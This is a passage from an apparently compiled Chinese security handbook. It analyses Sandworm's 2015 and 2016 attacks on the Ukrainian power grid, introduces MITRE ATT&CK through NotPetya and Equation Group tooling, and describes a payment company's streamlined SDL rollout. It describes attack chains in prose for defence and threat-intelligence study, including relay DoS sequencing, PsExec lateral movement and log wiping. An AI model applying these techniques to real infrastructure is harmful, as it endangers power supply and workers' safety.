纵观乌克兰的发展历史，在乌克兰境内发生的网络战争在世界范围内独树一帜，无论是国内反对

派的网络攻击，或是邻国的网络攻击，均在不间断的进行中，据外媒报道，乌克兰已经沦为俄罗斯的

网络战试验场。

其中，影响力最大的一次网络攻击事件，时至今日仍然活在各类文章引用中的经典攻击案例，莫

属二次乌克兰断电事件。而本文将结合最新线索，回顾并分析该典型网络战役背后的真实目的。

19.1 乌克兰断电事件回顾

停留在大多数人记忆中的乌克兰断电事件，还是 2015年 12月 23日的那起断电事件，当时乌克兰首

都基辅部分地区和乌克兰西部的 140万名居民遭遇了一次长达数小时的大规模停电，至少三个电力区

域被攻击，占据全国一半地区。

而当初的攻击背景是在克里米亚公投并加入俄罗斯联邦之后，因乌克兰与俄罗斯矛盾加剧，在网

络攻击发生前一个月左右，乌克兰将克里米亚地区进行了断电。
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政企安全 复盘网络战：乌克兰二次断电事件分析

对于那次攻击，乌克兰的 Kyivoblenergo电力公司表示他们公司遭到 BlackEnergy[1]网络入侵，因

此导致 7个 110KV的变电站和 23个 35KV的变电站出现故障，从而导致断电。

本次乌克兰断电事件中，攻击者首先通过 ‘‘主题为乌克兰总统对部分动员令’’钓鱼邮件进行投递，

在受害者点击并启用载有 BlackEnergy的恶意宏文档后，BlackEnergy在获取了相关凭证后，便开始进

行网络资产探测，横向移动，并最终获得了 SCADA系统的控制能力。

从而可以通过该系统，进行断路器操纵，并在攻击发生前，先使用 KillDisk擦除入侵痕迹覆盖

MBR和部分扇区的方式进行数据破坏，使得系统不能正常自启，阻止断电后的迅速恢复，此外据资料

显示，Sandworm在发生攻击时还曾对客服中心发起 dos攻击，阻止电力公司提前得知断电消息。

在做好以上准备后，断电攻击就此开始，这一断，‘‘名流千史’’。

攻击过程大致如下图所示 [6]

364

resource/e11e74edb62bb59164f5ac219dac55530a875996.png
resource/3bbaa9a6c6bfb2b87cdc384b47ad2985bfc3d6c4.png


政企安全 复盘网络战：乌克兰二次断电事件分析

事实上，在事件过去接近一年后，也就是 2016年 12月 17日，乌克兰还发生了第二起断电事件，

乌克兰国家电网运营商 Ukrenergo的网络中被植入了一种被称为 Industroyer或 Crash Override的恶意

软件，利用已经部署好的恶意软件破坏了乌克兰首都基辅附近一个传输站的所有断路器，从而导致首

都大部分地区断电。

而这次停电持续时间并不长，仅数十分钟，受影响的区域是乌克兰首都基辅北部及其周边地区。也

许是由于本次的攻击不够前一次的力度大，或者是乌克兰对于电力系统的应急响应速度提升了等级，

因此 Ukrenergo工程师在将设备切换为手工模式便开始恢复供电，75分钟后完全恢复供电。

19.2 Sandworm组织分析

据 ESET，Dragos 等国外安全厂商研究表明，当初发起这两起电力系统攻击的 APT 组织，名称为

Sandworm(沙虫)，别名 TeleBots，组织来自俄罗斯，据 Dragos[3]称，发起第二起电网攻击的团队名为

ELECTRUM，属于 Sandworm的分支攻击团队。

而关于该组织所使用的网络武器方面，经过奇安信威胁情报中心红雨滴团队安全分析人员的深入

关联分析，并结合 ESET的分析报告 [2]，可知该组织曾经使用的有代表性的网络武器如下所示：

BlackEnergy，一个被各种犯罪团伙使用多年的工具。从一个 DDoS（分布式拒绝服务）木马被

Sandworm开发成一个拥有模块化结构的，整体架构十分复杂的恶意软件，专门用于进行入侵驻留等

操作。

Industroyer，又名 Crash Override[3]，是一个由一系列的攻击模块 (多达十个)组成的模块化结构恶

意软件，其中便有著名的实现西门子 SIPROTEC设备 DoS攻击模块，可导致其中继变得无响应，也就

是第二次乌克兰断网攻击的关键武器。

NotPetya，一个专门用于数据擦除的，并且可以利用’’永恒之蓝’’系列漏洞进行横向传播的勒索软

件，于 2017年 6月乌克兰遭受 NotPetya勒索程序大规模攻击。包括首都基辅的鲍里斯波尔国际机场、

乌克兰国家储蓄银行、船舶公司、俄罗斯石油公司和乌克兰一些商业银行以及部分私人公司、零售企

业和政府系统都遭到了攻击。实际上 NotPetya波及的国家还包括英国、印度、荷兰、西班牙、丹麦等。

GreyEnergy，被称为 BlackEnergy的继承者 [4]。GreyEnergy的恶意软件框架与 BlackEnergy有许多

相似之处，各模块均通过组织确认后才进行下发，其中模块都用于间谍和侦察目的（即后门，文件提

取，截屏，键盘记录，密码和凭证窃取等）。

KillDisk，其为一种流行于黑客界近十年之久的数据破坏类恶意软件，起初作为 BlackEnergy的一

个专用于进行数据破坏的插件，后来被安全人员发现与 NotPetya存在关联。

19.3 2016乌克兰断电事件新线索

从前些章节可得知，关于乌克兰在 2015年的断电攻击事件相对来说为世人所知，并且细节披露的非

常多，而 2016年的乌克兰断电事件无论是后续还有攻击过程，都少了些许细节以及真实攻击目的。

从各种资料可得知，乌克兰第二次断电事件虽然攻击入口仍然是电子邮件或社会工程学攻击为主，

但执行断电操作不再是人工发起，通过恶意软件样本硬编码的触发攻击的时间戳表明，恶意软件是脱

离攻击者控制后，会在指定时间自动启动攻击。
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此外本次的攻击者对电网内的工业控制协议，传输协议异常熟悉，从 Industroyer的代码中可以发

现，其包含针对以下四个电网通信协议的攻击模块：

IEC 60870-5-101

IEC 60870-5-104

IEC 61850

OLE for Process Control(OPC) Data Access (DA)

以上为一些已知线索，通过工业控制系统网络安全公司 Dragos近日发布了一篇文章表明，他们重

建了 2016年乌克兰断电的时间线，希望能为寻找上述事件的根本原因获得一些线索。

在这篇题为《CRASHOVERRIDE: Reassessing the 2016 Ukraine Electric Power Event as a Protection-

Focused Attack》的文章 [5]中，该研究团队重新分析并梳理了恶意软件的代码：

并重新访问分析了 Ukrenergo电力公司的网络日志。

Siprotec保护继电器的 Dos漏洞数据包
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发起 dos漏洞攻击的 UDP包

最后得出结论：

Sandworm组织的意图是造成更大强度的物理破坏，可能计划将停电时间延长到数周到几个月的时

间，甚至可能危及到现场工厂工人的生命。

Dragos分析师 Joe Slowik表示：‘‘虽然这最终是一个直接的破坏性事件，但部署的工具和使用它们

的顺序强烈表明，攻击者想要做的不仅仅是把灯关掉几个小时。他们试图创造条件，对目标传输站造

成物理破坏。”

在这起攻击中，Sandworm组织利用 Industroyer (Crash Override)恶意软件，发送自动脉冲来触发断

路器，进而利用由西门子生产的 Siprotec保护继电器的 Dos漏洞。

尽管在 2015年该漏洞就已经发布了补丁，但是乌克兰的许多电力公司并没有更新系统，因此只需

要发出一个电脉冲就能让保护继电器在休眠状态下失效。

研究人员通过日志复盘了 Sandworm组织的攻击方式，具体如下：

首先，Sandworm组织部署了 Industroyer (Crash Override)恶意软件；

然后他们用它来攻击基辅北部一个电网的所有断路器进而导致大规模停电；

一小时后，他们推出了一个擦除数据的组件，并禁用了传输站的计算机，并防止工作人员监控任

何站点的数字系统。

只有到那时，攻击者才会使用恶意软件的 Siprotec的 Dos漏洞模块，攻击对抗四个站点的保护继

电器，同时打算默默地禁用那些监控故障情况的安全设备，从而可以使得工作人员根本没办法发现故

障原因。

Dragos分析师认为，其最终目的是让 Ukrenergo工程师通过匆忙重新启动该站的设备来应对停电。

然后，通过手动操作，在没有保护继电器故障保护的情况下，它们可能触发变压器或电力线中的

危险电流过载。潜在的灾难性破坏，将导致对工厂能量传输的破坏，从而可以比仅停电一个小时的时

间更多。同时，它也可能会伤害在电厂的工作人员。

但是，综合日志分析，后续的攻击和策略并未施展开，也并没有达成 Sandworm组织原本的意图：

断电更长的时间，因此研究人员认为，这起攻击是一次失败的行动。

原因可能是黑客制造的网络配置错误，也可能用于 Ukrenergo保护中继的恶意数据包被发送到错

误的 IP地址；或者是 Ukrenergo运营商可能比黑客预期更快地恢复供电；也可能是即使 Siprotec攻击

成功，但备用保护继电器可能已经成功阻止了电量过载，这些原因在没有足够的现场证据支撑下都无

法确认。

但无论如何，该攻击事件的执行顺序，代表了当时最终尚未成功执行的战术目标。

367

resource/a05787eaa14da0f8b8e9c7ec3554f7fac51e1b8a.png


因为 Sandworm组织已经预测到电力公司的反应，即他们会手动恢复断电，并试图利用这个细节来

扩大物理攻击的破坏。虽然最终目的没有达到，但是得知真相的那一刻仍骇人听闻。

19.4 总结

习近平总书记明确指出：‘‘金融、能源、电力、通信、交通等领域的关键信息基础设施是经济社会运

行的神经中枢，是网络安全的重中之重，也是可能遭到重点攻击的目标’’。

这些基础设施一旦被攻击就可能导致交通中断、金融紊乱、电力瘫痪等问题，具有很大的破坏性

和杀伤力。从世界范围来看，各个国家网络安全立法的核心就是保护关键基础设施。

而电力系统则更是关系着国家的命脉、社会的稳定发展以及人们的日常生活，对于网络安全必须

加以重视。

从乌克兰二次断电事件来看，首先工作人员的安全意识不足，这是根，其次系统存在漏洞但是没

有定期进行更新，这是祸，埋下祸根，网络攻击则必然成功。

在如今国际关系复杂时期，网络战已经成为国家之间网络对抗家常饭，其中对于关键信息基础设

施应对，参考乌克兰断电事件可知，网军并不是非要获取到多少关于基础设施的秘密信息，而单纯就

是想要破坏他，这也和Wannacry出发点一样，目的就是破坏。

因此，对于会造成破坏性行为的漏洞，同样务必加以重视，尤其是会造成 Dos攻击，造成系统应

用或设备无法正常工作的漏洞，能造成机械设备损坏的漏洞，毕竟这些漏洞，可以造成网络攻击抵达

物理打击层面，对于远程精准打击将会是强而有力的战略举措。

奇安信威胁情报中心最后建议，电力公司应该组建专业的安全维护人员和安全运营团队，必须清

楚地了解各个工控协议的使用状况，才能更好的识别网络异常流量从而及时告警，并且对于网络控制

的设备，例如继电器，断路器这类会严重影响系统正常运作的设备，务必做好防护措施，并在每个细

节做到安全，从而抵御境外势力网军的 APT攻击。

19.5 参考链接
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实战化 ATT&CK

作者：天御攻防实验室

来源：https://mp.weixin.qq.com/s/pF_d4Jbqs8QGlWN0ITnm6g

20.1 序：

本文是实战化 ATT&CK系列专题文章的开篇，主要讲述当前网络空间安全的威胁形势、情报驱动防御

和 ATT&CK模型等核心概念，旨在帮助读者深入理解 ATT&CK模型打下坚实的理论基础。

20.2 1.当前网络空间安全的威胁形势

20.2.1 （一）、事件：NotPetya勒索病毒袭击全球各地系统！-技术能力越来越强大的对手

1.）事件背景：

2017年 6月 27日周二一早，代号为”NotPetya’’（’’佩蒂娅’’）的一种新勒索病毒袭击了乌克兰、俄

罗斯、西班牙、法国、英国、丹麦、印度、美国（律师事务所 DLA Piper）等国家和地区。这种新的勒

索病毒能够导致重要基础设施关停，使公司及政府网络瘫痪。据事后报道，乌克兰 10%的计算机系统

被感染，造成超过 30亿美元的经济损失！

2.）攻击目标：

根据公开报道，遭受 NotPetya侵袭的具体目标包括：

–乌克兰副总理帕夫洛罗琴科（Pavlo Rozenko）称，该国政府部门的电脑网络出现死机，央行的配

电系统等设施遭到了破坏。

–荷兰船运巨头马士基集团（A.P. Moller – Maersk）称包括洛杉矶码头在内的设施遭到了攻击。

–全球最大的广告传播集团WPP称受到了这款病毒感染。一位该公司员工透露，他们被要求关闭

电脑，随后整座公司大楼陷入寂静。

–一家乌克兰媒体公司称，自己的电脑系统被黑，黑客要求通过电子加密货币比特币支付 300美金

才能对其解锁。黑客还留下信息说，’’不要浪费时间去尝试恢复文件。只有我们能提供解密服务。”

–俄罗斯央行称，自己的电脑被感染。一家从事消费信贷的公司不得不暂停为客户服务。

–俄罗斯石油公司（Rosneft）称自己的电脑系统被严重影响。

3.）攻击者的战术、技术及过程分析
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我们通过 ATT&CK模型对 NotPetya进行分析后发现，NotPetya作为一款勒索软件，它具备很明显

的破坏意图，采用钓鱼邮件（该病毒采用 CVE-2017-0199漏洞的 RTF格式附件进行邮件投放）、软件

供应链后门（通过利用窃取的凭证，攻击者能够操纵M.E.Doc更新服务器）、水坑攻击（乌克兰巴哈姆

特市的网站）方式传播。成功感染目标系统后会释放 Downloader来获取病毒母体，形成初始扩散节点，

之后通过 EternalBlue（永恒之蓝，CVE-2017-0144）漏洞、EternalRomance（永恒浪漫，CVE-2017-0145）

漏洞、WMI、PsEexc和系统弱口令来进行蠕虫传播。同时具备杀软对抗（卡巴斯基、诺顿）和反取证

（wevtutil日志清除）等能力。

由分析可见先进的攻击者具备如下特点：

–攻击者的基础设施具备适应能力，能够针对更多不同的目标环境

–攻击者入侵后会混杂于合法的用户行为中，比如使用合法的基础设施组件、滥用合法用户凭证或

者重复执行合法用户行为

–攻击者具备快速提升自己的能力，利用新漏洞和新泄露的工具

20.2.2 （二）、组织：‘‘方程式组织’’（Equation Group）-超高能力网空威胁行为体

网空威胁行为体（CyberThreat Actors）是网络空间攻击活动的来源，它们有不同的目的和动机，其能

力也存在明显的层级差异。根据作业动机、攻击能力、掌控资源等角度，网空威胁行为体划分为七个

层级，分别是：

--业余黑客

--黑产组织

--网络犯罪团伙或黑客组织

--网络恐怖组织

--一般能力国家/地区行为体

--高级能力国家/地区行为体

--超高能力国家/地区行为体。

其中，超高能力国家/地区行为体，或称为超高能力网空威胁行为体，拥有严密的规模建制，庞大

的支撑工程体系，掌控体系化的攻击装备和攻击资源，可以进行最为隐蔽和致命的网络攻击。
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‘‘方程式组织’’就是这样一种超高能力网空威胁行为体，有一套完整、严密的作业框架与方法体系；

拥有大规模支撑工程体系、制式化装备组合，进行严密的组织作业，高度追求作业过程的隐蔽性、反

溯源性，使其攻击看似 ‘‘弹道无痕’’，其突破、存在、影响、持续直至安全撤出网络环境或系统的轨迹

很难被察觉。

20.2.3 ‘‘方程式组织’’的攻击装备：

（一）、漏洞利用工具和攻击平台

相关漏洞攻击装备主要针对网络设备、防火墙等网络安全设备和各类端点系统，其主要作用为突

破边界，横向移动，获取目标系统的权限，为后续植入持久化、控制载荷开辟通道。

其中典型的漏洞攻击装备 EPICBANANA、EXTRABACON和 1个未知装备是针对防火墙的，先进

的 FuzzBunch漏洞利用平台，针对Windows系统进行作业（其中包含多个 0day漏洞）

（二）、持久化/植入攻击装备

超级网空威胁行为体高度重视在目标场景中形成持久化的能力，研发了大量实现持久化能力的装

备。持久化攻击装备通常在突破目标后使用，主要针对 BIOS/UEFI、固件、引导扇区、外设等环节，

难以发现和处置的深层次加载点，或形成可反复植入的作业机会窗口。

FEEDTROUGH是针对 Juniper、NetScreen等防火墙进行固件层持久化的攻击装备，可以在防火墙

启动时向系统植入载荷，这一技术与该攻击组织对硬盘固件的持久化思路如出一辙，是更底层的难以

检测和发现的持久化技术。

（三）、控制/后门类恶意代码

此类攻击装备是攻击行动中最终植入到目标系统的载荷，用于持久化或非持久化对目标系统的控

制。覆盖网络安全设备及网络设备，Linux/Windows主机系统。与持久化工具所追求的建立隐蔽的永

久性入口不同，方程式组织在的控制/后门类恶意代码，更强调内存原子化模块加载作业，文件不落

地，最大程度上减小被发现与提取的可能性。

DanderSpritz是其中最典型的控制平台，拥有严密作业过程和丰富规避手段的模块化攻击平台。

DanderSpritz拥有界面化的远程控制平台，具有复杂的指令体系和控制功能，与传统 RAT程序有着明

显的区别，一旦植入目标系统后会采集系统各类安全配置信息并提示攻击者哪些配置或信息可能会导

致自身被发现或检测。其 payload有多种连接模式，其中 “Trigger’’模式是一种激活连接模式，既不监

听端口也不向外发出连接，而是通过监听流量等待攻击者的激活数据包，这使得控制端的部署变得灵

活而难以被封禁。

面对技术能力越来越强大的对手或以 ‘‘方程式组织’’为代表的超高能力网空威胁行为体，我们该

如何应对？
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以 ‘‘方程式组织’’为代表的超高能力网空威胁行为体，具有庞大的攻击支撑工程体系、装备体系

和规模化作业团队等特点，并在这些资源的支撑下，成功执行高度复杂的攻击活动。如果对类似攻击

组织的分析停留在 0day漏洞、恶意代码等单点环节上，既无助于对其整个过程进行全面的分析，也

难以有效地指导防御工作。为应对高能力网空威胁行为体的攻击活动，安全人员需要有体系化、框架

化的威胁分析模型，对其行为展开更深入、系统的分析，理解威胁，进而实现更有效的防御。当前类

似的分析模型包括洛克希德·马丁公司（Lockheed Martin）的 Kill Chain（杀伤链）和 MITRE公司的

ATT&CK模型等。

20.3 2.情报驱动防御（Intelligence Driven Defense）

情报驱动防御，是一种以威胁为中心的风险管理战略，核心是针对对手的分析，包括了解对方的能力、

目标、原则以及局限性，帮助防守方获得弹性的安全态势（resilient security posture），并有效指导安全

投资的优先级（比如针对某个战役识别到的风险采取措施，或者高度聚焦于某个攻击对手或技术的安

全措施）。

情报驱动防御必然是一个持续、迭代的过程，通过分析、协同发现指标，利用 ‘‘指标’’（indicator）

去检测新的攻击活动，在调查过程又获得更丰富的指标。所谓弹性，是指从完整杀链看待入侵的检测、

防御和响应，可以通过前面某个阶段的已知指标遏制链条后续的未知攻击；针对攻击方技战术重复性

的特点，只要防守方能识别到、并快于对手利用这一特点，必然会增加对手的攻击成本。

指标（indicator）和失陷指标（IOCs，Indicators of Compromise）

（一）、指标（Indicator）为 ‘‘情报’’的基本要素，用于客观描述入侵的信息，具体分为三类：

原子指标（Atomic）：为保持其在入侵语境下的意义、不能再做分拆的指标，如 IP地址、email地

址以及漏洞编号。

计算指标（Computed）：从事件中所涉及数据派生出的指标。常用计算指标包括 Hash值和正则表

达式。

行为指标（Behavioral）：计算和原子指标的集合，通常受到指标数量和可能组合逻辑的限制。举例

来说，可能是一段类似这样的描述，‘‘入侵者最初使用后门，匹配 ‘‘正则表达式’’以某 ‘‘频率’’访问某

个 “IP地址’’，一旦访问建立，就会用另一后门（MD5 hash值）进行替换。”

（二）、失陷指标（IOCs，Indicators of Compromise）

1.失陷指标的生成，是以结构化的方式记录事件的特征和证物的过程。IOC包含从主机和网络角

度的所有内容，而不仅仅是恶意软件。它可能是工作目录名、输出文件名、登录事件、持久性机制、

IP地址、域名甚至是恶意软件网络协议签名。）。2.IOC不仅查找特定的文件和系统信息，还使用详细

描述恶意活动的逻辑语句。3.Mandiant博客 “Combat the APT by Sharing Indicators of Compromise7’’中，

作者Matt Frazier介绍了一个基于 XML语言的 IOC实例化，并且可以使用免费的Mandiant工具读取

和创建 IOC。
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20.3.1 痛苦金字塔模型（The Pyramid of Pain）

痛苦金字塔模型由 IOCs组成，同时也用于对 IOCs进行分类组织并描述各类 IOCs在攻防对抗中的价

值。TTPs即 Tactics, Techniques and Procedures（战术、技术以及过程）的简称，指对手从踩点到数据

泄漏以及两者间的每一步是 ‘‘如何’’完成任务的。TTPs处于痛苦金字塔塔尖。于攻击方，TTPs反映

了攻击者的行为，调整 TTPs所需付出的时间和金钱成本也最为昂贵。于防守方，基于 TTPs的检测和

响应可能给对手造成更多的痛苦，因此 TTPs也是痛苦金字塔中对防守最有价值的一类 IOCs。但另一

方面，这类 IOCs更加难以识别和应用，由于大多数安全工具并不太适合利用它们，也意味着收集和

应用 TTPs到网络防御的难度系数是最高的。而 ATT&CK模型是有效分析对手行为（也即 TTPs）的威

胁分析技术。

20.4 3.MITRE ATT&CK模型的核心概念

20.4.1 3.1）MITRE公司

最早其主要做国防部的威胁建模，主要是情报分析，从事反恐情报的领域（起源是 911后美国情报提

升法案），后续延申到网络空间安全领域，其最大的特色就是分类建模，STIX情报架构就是 MITRE

构建，SITX1.0版本又很浓的反恐情报分析影子。到了 STIX2.0阶段，其发现仅仅用 TTP很难描述网

络空间网络攻击和恶意代码，因此，在 STIX2.0中，引入攻击和恶意代码 2个相对独立的表述，攻击

采用 capec，恶意代码采用 meac，但是 capec和 meac过于晦涩，其又在 2015年发布了 ATT&CK模型

及建模字典，用来改进攻击描述。

20.4.2 3.2）ATT&CK模型（ATT&CK）

ATT&CK（Adversarial Tactics, Techniques, and Common Knowledge，对手战术、技术及通用知识库）是

一个反映各个攻击生命周期的攻击行为的模型和知识库。
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ATT&CK对对手使用的战术和技术进行枚举和分类之后，能够用于后续对攻击者行为的 ‘‘理解’’，

比如对攻击者所关注的关键资产进行标识，对攻击者会使用的技术进行追踪和利用威胁情报对攻击者

进行持续观察。ATT&CK也对 APT组织进行了整理，对他们使用的 TTP（技术、战术和过程）进行描

述。

特点：

对手在真实环境中所使用的 TTP

描述对手行为的通用语言

免费、开放、可访问

社区驱动

目前 ATT&CK模型分为三部分，分别是 PRE-ATT&CK，ATT&CK Matrix for Enterprise（包括 Linux、

macOS、Windows）和 ATT&CK Matrix for Mobile（包括 iOS、Android），其中 PRE-ATT&CK覆盖攻

击链模型的前两个阶段（侦察跟踪、武器构建），ATT&CK Matrix for Enterprise覆盖攻击链的后五个阶

段（载荷传递、漏洞利用、安装植入、命令与控制、目标达成），ATT&CK Matrix for Mobile主要针对

移动平台。

PRE-ATT&CK包括的战术有优先级定义、选择目标、信息收集、发现脆弱点、攻击性利用开发平

台、建立和维护基础设施、人员的开发、建立能力、测试能力、分段能力。

ATT&CK Matrix for Enterprise包括的战术有访问初始化、执行、常驻、提权、防御规避、访问凭

证、发现、横向移动、收集、命令和控制、数据获取、影响。
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ATT&CK Matrix for Mobile主要针对移动平台。

ATT&CK模型中的 TTP（战术、技术和过程）及它们之间的关系。

TTP的定义：（来源：美国国家标准技术研究所）

TTP即对手的行为。战术是对此行为的最高级别描述，而技术在战术的上下文中提供更详细的行

为描述，而过程是在技术的上下文中更低级别，更详细的描述。

–战术：对手的技术目标（如，横向移动）

–技术：如何实现目标（如，PsExec）

–过程：具体技术实施（如，使用 PsExec实现横向移动的过程）

举例：

375

resource/8b30719676886f631659b6fbd1dcba72ec0f1caa.png
resource/d303501c0347e53cc9edecec6b4150fcce3c0c41.jpg


政企安全 实战化 ATT&CK

如果攻击者要访问的网络中的计算机或资源不在其初始位置，则需借助 ‘‘横向移动攻击’’战术。比

较流行的一种技术是将Windows内置的管理共享，CADMIN，用作远程计算机上的可写目录。实现该

技术的过程是利用 PsExec工具创建二进制文件，执行命令，将其复制到远端Windows管理共享，然

后从该共享处开启服务。另外，即使阻止执行 PsExec工具，也不能完全消除Windows管理共享技术

的风险。这是因为攻击者会转而使用其他过程，如 PowerShell、WMI等工具。

威胁知情的防御强调：了解对手 (Who)的战术 (Why)、技术 (How)和过程（TTPs）是成功进行网

络防御的关键。因此我们可以通过 ATT&CK模型来对攻击者的 TTP进行检测、防御和响应。

笔者将通过四篇文章来进行详细讨论：

–威胁情报-威胁检测与猎杀-红蓝军对抗模拟-安全产品能力和企业安全建设成熟度评估

20.4.3 4.附录：MITRE ATT&CK模型中的 Groups和 Software

Groups，用于跟踪由公共和私人组织在其威胁情报报告中报告的已知 APT组织。

比如：APT3、APT29、Cobalt Group

参见：https://attack.mitre.org/groups/

Software，指对手使用的工具（tools），实用程序（utilities）和恶意软件（malware）。

工具（tools）：比如：PsExec, Metasploit, Mimikatz

实用程序（utilities）：Net, netstat, Tasklist

恶意软件（malware）：PlugX, CHOPSTICK

参见：https://attack.mitre.org/software/
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20.5 5.致谢！

此次写作的初衷：集业界众安全专家的智慧，系统、全面地介绍以下主题，

– ATT&CK

–威胁情报

–威胁检测和威胁猎杀

–红蓝军对抗模拟

笔者在写作的过程中，深感要实现这个目标十分艰巨！因此，把目前所学、所思记录下来，

后续再完善。

此次写作参考了以下安全团队及个人的研究成果，（排名不分先后）

安天（Cert）

Freddy Dezeure

Katie Nickels@MITRE

Sergio Caltagirone@Dragos

肖岩军@NSFOCUS

小强

余凯@瀚思科技

Viola_Security

ZenMind

汪列军@奇安信威胁情报中心/360威胁情报中心

（Corelight Labs、Reservoir Labs、Red Canary、Endgame、FOX IT、SpecterOps Team、Sqrrl、

FireEye、

Awake Security、Gigamon Applied Threat Research Team、SANS Institute、Cisco Talos、Proof-
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精简版 SDL落地实践

作者：@好好学习英语的 abc

来源：https://xz.aliyun.com/t/5656

21.1 一、前言

一般安全都属于运维部下面，和上家公司的运维总监聊过几次一些日常安全工作能不能融入到 DevOps

中，没多久因为各种原因离职。18年入职 5月一家第三方支付公司，前半年在各种检查中度过，监管

形势严峻加上大领导对安全的重视 (主要还是监管)，所有部门 19年的目标都和安全挂钩。由于支付

公司需要面对各种监管机构的检查，部分安全做的比较完善，经过近一年对公司的熟悉发现应用安全

方面比较薄弱。这部分业内比较好的解决方案就是 SDL，和各厂商交流过之后决定自己照葫芦画瓢在

公司一点一点推广。

上图为标准版的 SDL,由于运维采用 DevOps体系，测试也使用自动化进行功能测试，版本迭代周

期比较快,安全人手不足加上对 SDL的威胁建模等方法也一头雾水、如果把安全在加入整个流程会严

重影响交付时间。在这种情况调研了一些业内的一些做法，决定把 SDL精简化。精简版 SDL如下：

.

21.2 二、精简版 SDL落地实践

21.2.1 安全培训

SDL核心之一就是安全培训，所以在安全培训上我们做了安全编码、安全意识、安全知识库、安全

SDK

Figure 21.1: img
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安全编码：

我们在网上找了一些 java安全编码规范、产品安全设计及开发安全规范结合公司实际业务出了一版。

因为各种监管机构对培训都有要求，借此推了一下安全培训，定期对开发和新员工入职的培训。
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安全意识：

公司有企业微信公众号，大部分员工都关注了，在公众号推广了一波。

宣传完之后答题，答题满分送小礼品

因为人手不足，而功能测试和安全测试本质上有很多相通的地方，测试部门也比较配合，针对测

试人员做了一些安全测试相关的培训，但是效果并不是太理想。

安全知识库：

在漏洞修复过程中，开发很多不太了解漏洞原理、修复方案，所以我们建立了安全知识库，开发先到安

全知识库查相关解决方法。找不到的再和安全人员沟通，安全人员对知识库不断更新，形成一个闭环。
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Figure 21.2: img

Figure 21.3: img
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Figure 21.4: img

安全 SDK

由于公司有架构部门，开发框架基本是架构部门提供。我们将一些常见的漏洞和架构部门沟通之后，

让架构将一些漏洞修复方式用 SDK实现，开发只需要导入 JAR包，在配置文件中配置即可。其中也

挺多坑的，需要慢慢优化。

21.3 三、安全需求设计

公司有项目立项系统，所有的项目立项都需要通过系统来进行立项，安全为必选项，评审会安全也必

须要参与

这个时候基本上项目经理会找安全人员进行沟通，copy了一份 VIP的产品安全设计规范，根据需

求文档和项目经理确定安全需求。
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Figure 21.5: img

Figure 21.6: img
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Figure 21.7: img

确认好安全需求之后将按需求加入到需求文档，并确认安全测试时间，此流程只针对新项目，已经上

线的项目的需求并未按照此流程，后续在安全测试时候会讲到这部分的项目是怎么做的。
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21.4 四、开发、安全测试

安全测试主要分为代码审计，漏洞扫描，手工安全测试。由此衍生出来的安全产品分为 3类。DAST：

动态应用程序安全测试（wvs,appscan）、SAST：静态应用程序安全测试 (fortify,rips)、IAST：交互式应用

程序安全测试（seeker，雳鉴）,这三种产品的详细介绍可以参考 https://www.aqniu.com/learn/46910.html，

下图为三种产品的测试结果对比。

这几类产品实现了自动化可以继承到 DevOps中。接下来我们将这些工具融入到开发测试阶段。IAST

的实现模式较多，常见的有代理模式、VPN、流量镜像、插桩模式，本文介绍最具代表性的 2种模式，

代理模式和插桩模式。一些调研过的产品如下图，具体测试结果就不公布了。

21.4.1 开发阶段

在对几类产品调研的时候发现 IAST的插桩模式可以直接放到开发环境，开发环境和测试环境的代码

区别主要还是在于 application.yml配置文件，所以可以提前将该模式放到开发阶段。开发写完代码提

交到 gitlab部署到开发环境启动应用的时候，开发需要验证一下功能是否可用，这个时候就可以检测

出是否存在漏洞。公司在测试环境使用 rancher，把 IAST的 jar包放入到项目的 gitlab,在部署的时候

把代码拉到本地，通过修改 Dockerfile文件把 jar包添加到容器。
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Figure 21.8: img

ADD shell/xxx.jar /home/app/xx/lib

由于公司项目基本统一使用 spring-boot，所有的项目都通过一个 start.sh脚本来启动应用，start.sh

和 Dockerfile一样需要添加到项目的 gitlab，同时修改 start.sh脚本文件即可。

-javaagent:$APP_HOME/lib/xx.jar -jar $APP_HOME/app/*.jar --spring.profiles.active=dev >$APP_HOME/logs/startup.log 2>&1 &

测试项目如下，忽略错别字：

开发提交代码部署完之后，访问一下正常的功能即可在平台上看见是否存在漏洞。

部分产品

同时还会检测第三方组件包。
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Figure 21.9: img

Figure 21.10: img
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Figure 21.11: img

公司使用 harbor来对镜像进行当仓库镜像，项目部署完成之后会打包成一个镜像上传到 harbor，harbor

自带镜像扫描功能。

21.4.2 测试阶段

开发完成之后进入到测试阶段。这个阶段我们进行静态代码扫描，功能测试，安全测试。
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Figure 21.12: img

静态代码扫描

利用静态代码扫描工具对代码在编译之前进行扫描，并在静态代码层面上发现各种问题，其中包括安全

问题。部分工具列表：

静态代码扫描我们采用 sonarQube集成，我们使用的是 FindbugSecurity,精简规则，然后在持续构

建过程中，进行静态代码 bug,安全扫描。

静态代码扫描的同时也可以扫描第三方依赖包，OWSAP的 Dependency-Check就可以集成到持续

构建过程中，由于 IAST类产品支持该功能，不多做介绍。

389



政企安全 精简版 SDL落地实践

Figure 21.13: img

Figure 21.14: img

功能测试

功能测试方面，公司测试部门实现了自动化测试平台，前期我们并未使用 agent的方式检测，一开始

使用开源的 gourdscan加上 openrasp，利用 openrasp的默认开启不拦截模式和漏洞记录功能来检测服

务端无返回的漏洞。

只需要在自动化平台上配置代理 IP：

openrasp漏洞记录

后来测试反馈扫描的脏数据太多，效果也并不是很好，就放弃了此方案。改用开发阶段的 IAST的

插桩方式，同样在测试环境也和开发环境一样利用 agent来检测问题。功能测试完成之后。由于测试

人员对漏洞并不是太理解，所以定的流程为测试人员到平台查看报告和安全人员沟通哪些问题需要修

复，然后将问题写入到测试报告
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Figure 21.15: img

安全测试

在测试阶段已经将安全加入到整个流程里面，所有需求更改完成都需要通过功能测试，也就是所有的

流程过一遍安全测试，这样安全人手也不是很足，决定采用内外服务区分的办法来确定是否需要安全

人员介入

漏洞管理

漏洞管理这一块制定了漏洞管理制度，根据影响程度对漏洞进行评级，严重漏洞必须改完之后才能上

线，高中低危漏洞且影响较小需要排期，安全人员定期跟踪漏洞修复情况。

21.5 五、监控

支付公司一般安全设备基本都有，这一块基本上将设备的 syslog打到日志中心可视化，并定制对应的

规则实现告警即可

21.6 六、结束语

个人知识和经验不足对 sdl的体系并不是很熟悉，没什么经验，所以只能做到目前的程度。后续还有

许多地方可以优化，增加流程等。如果有什么好的建议欢迎交流。
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Figure 21.16: img
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ATT&CK之后门持久化

作者：阿尔法实验室

来源：http://blog.topsec.com.cn/attack之后门持久化/

22.1 前言

在网络安全的世界里，白帽子与黑帽子之间无时无刻都在进行着正与邪的对抗，似乎永无休止。正所

